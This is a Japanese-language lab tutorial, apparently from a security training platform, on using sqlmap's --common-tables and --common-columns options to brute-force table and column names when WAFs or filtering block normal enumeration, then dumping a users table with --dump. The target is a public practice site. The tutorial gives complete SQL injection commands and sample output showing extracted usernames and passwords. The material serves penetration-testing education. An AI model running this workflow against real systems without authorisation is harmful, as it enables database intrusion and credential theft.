はじめに
この実験では、標準的な列挙方法が効果的でない場合に、データベースのテーブル名とカラム名を発見するための sqlmap における高度なテクニックを探求します。これは、Web アプリケーションが堅牢なフィルタリングや一般的な SQL インジェクションペイロードをブロックする Web Application Firewall (WAF) を実装している実世界のシナリオでよく発生します。ここでは、sqlmap のブルートフォース機能、特に --common-tables および --common-columns フラグを活用して、組み込みの単語リストを使用して隠されたデータベース構造を特定する方法を学びます。この実践的な経験により、より包括的な SQL インジェクションテストのための不可欠なスキルが身につきます。
標準的な列挙が失敗するシナリオの特定
このステップでは、標準的な sqlmap の列挙テクニックがテーブル名とカラム名を発見するのに失敗する可能性のあるシナリオをシミュレートします。これは、WAF、厳格なフィルタリング、または sqlmap がデータベーススキーマを直接推測するのを妨げるカスタムエラー処理が原因でよく発生します。この実験のために実際に脆弱なアプリケーションを設定することはありませんが、直接的な列挙が不可能な場合の sqlmap の動作を示すためにプレースホルダー URL を使用します。
まず、テーブルとカラムの標準的な列挙コマンドを試してみましょう。ターゲットとしてダミー URL http://testphp.vulnweb.com/listproducts.php?cat=1 を使用します。この URL は一部のコンテキストで脆弱であることが知られていますが、この演習では直接的な列挙がブロックされるように設定されていると仮定します。
ターミナルを開き、以下の sqlmap コマンドを実行します。このコマンドは、acuart データベースのテーブルとカラムを列挙しようとします。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --tables -D acuart --columns -T users --batch
sqlmap がテーブルやカラムを見つけるのに苦労したり、存在する場合でもテーブル/カラムが見つからなかったと報告したりする可能性があることに気づくかもしれません。これは、直接的な列挙がブロックされているシナリオをシミュレートします。--batch フラグは、質問に対してデフォルトの回答を使用するように sqlmap に指示し、プロセスを非対話的にします。
出力例(異なる場合がありますが、発見されたテーブル/カラムの不足に注意してください):
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching tables for database 'acuart'
[INFO] no tables found in database 'acuart'
[INFO] fetching columns for table 'users' in database 'acuart'
[INFO] no columns found in table 'users'
...
この出力は、sqlmap がテーブルとカラムを直接列挙できなかったことを示しています。このような場合、一般的な名前のブルートフォースが実行可能な代替手段となります。
--common-tables フラグを使用してテーブル名をブルートフォースする
このステップでは、--common-tables フラグを使用してテーブル名をブルートフォースします。このフラグは、sqlmap に一般的なテーブル名(例:users、admin、products、orders)の組み込み単語リストを使用し、それらをターゲットに対してテストするように指示します。これは、直接的な列挙がブロックされている場合に特に役立ちます。
同じターゲット URL http://testphp.vulnweb.com/listproducts.php?cat=1 と acuart データベースを引き続き使用します。
以下の sqlmap コマンドを実行します。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --common-tables --batch
このコマンドは、sqlmap に acuart データベース内の一般的なテーブル名を特定するように指示します。sqlmap は内部の単語リストを反復処理し、存在するテーブルを見つけようとします。
出力例:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common tables for database 'acuart'
[INFO] retrieved common table: 'users'
[INFO] retrieved common table: 'products'
[INFO] retrieved common table: 'categories'
...
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
...
これで、users、products、categories のような一般的なテーブル名を sqlmap が正常に特定しているのがわかるはずです。これは、標準的な列挙が失敗した場合のブルートフォースの効果を示しています。
コモン単語リストから見つかったテーブルのリストを分析する
このステップでは、前のコマンドの出力を確認し、sqlmap が正常に特定した一般的なテーブルを理解します。この分析は、SQL インジェクション プロセスにおける次のステップを計画する上で重要です。テーブル名を知ることで、特定のデータにターゲットを絞ることができます。
前のコマンドの出力から、sqlmap はいくつかの一般的なテーブルをリストアップしたはずです。例えば、以下のようなものが見られたかもしれません。
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
これらは、sqlmap が内部の単語リストをブルートフォースして見つけたテーブルです。users のようなテーブルの存在は特に興味深いものです。なぜなら、それらはしばしばユーザー名やパスワードのような機密情報を含んでいるからです。
少し時間を取って、ターミナルでの出力を調べてください。sqlmap が発見したテーブルの名前を特定してください。これらの名前は、次のステップでカラム名をブルートフォースするために使用されます。
このステップでは特定のコマンドは必要ありません。前のコマンドの出力を分析するだけです。このステップは、sqlmap 操作の結果を理解することに重点を置いています。
コモンカラムフラグを使用してカラム名をブルートフォースする
一般的なテーブル名を特定したので、それらのテーブル内のカラム名をブルートフォースに進むことができます。--common-tables と同様に、--common-columns フラグは、直接的な列挙が不可能な場合にカラムを発見するために、一般的なカラム名(例:username、password、email、id)の組み込み単語リストを使用します。
前のステップで users テーブルを見つけたと仮定します。これで、acuart データベースの users テーブル内のカラム名をブルートフォースしようとします。
以下の sqlmap コマンドを実行します。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --common-columns --batch
このコマンドは、sqlmap に acuart データベースの users テーブル内の一般的なカラム名を検索するように指示します。
出力例:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common columns for table 'users' in database 'acuart'
[INFO] retrieved common column: 'id'
[INFO] retrieved common column: 'username'
[INFO] retrieved common column: 'password'
[INFO] retrieved common column: 'email'
...
Database: acuart
Table: users
[4 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(50) |
| email | varchar(100)|
+----------+-----------+
...
users テーブル内で id、username、password、email のような一般的なカラム名を sqlmap が正常に特定しているのがわかるはずです。これは、直接的な列挙がブロックされている場合でも、ブルートフォースがどのように重要な情報を明らかにするかを示しています。
ブルートフォース検出とデータダンプコマンドを組み合わせる
この最終ステップでは、テーブル名とカラム名のブルートフォース検出をデータダンプコマンドと組み合わせます。--common-tables および --common-columns フラグを使用して興味深いテーブルとカラムを正常に特定したら、sqlmap の --dump フラグを使用して実際のデータを抽出できます。
前のステップで users テーブルと username や password のようなカラムを特定したと仮定して、これらのカラムからデータをダンプしてみましょう。
acuart データベースの users テーブルから username および password カラムをダンプするには、以下の sqlmap コマンドを実行します。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C username,password --dump --batch
このコマンドは、指定されたカラムからデータを取得するように sqlmap に指示します。
出力例:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching entries for columns 'username,password' in table 'users' of database 'acuart'
...
Database: acuart
Table: users
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| test | test |
| admin | admin |
+----------+----------+
...
username および password カラムから sqlmap が正常にデータをダンプしているのがわかるはずです。これは、完全なワークフローを示しています。標準的な列挙が失敗するシナリオを特定し、ブルートフォースを使用して隠された構造を発見し、最終的に機密データを抽出します。このテクニックは、SQL インジェクションツールキットに強力な追加機能となります。
まとめ
この実験では、標準的な列挙方法がブロックされたり失敗したりした場合に、sqlmap のブルートフォース機能を効果的に使用してテーブル名とカラム名を発見する方法を学びました。まず、直接的な列挙が成功しなかったシナリオをシミュレートすることから始めました。次に、--common-tables フラグを使用して一般的なテーブル名を特定し、--common-columns フラグを使用してそれらのテーブル内の一般的なカラム名を見つけることに成功しました。最後に、これらの検出テクニックを --dump フラグと組み合わせて、特定されたカラムからデータを抽出しました。この実践的な経験により、高度な SQL インジェクションテストのための重要なスキルが身につき、一般的な防御を回避して脆弱なデータベースから価値のある情報を取得できるようになります。


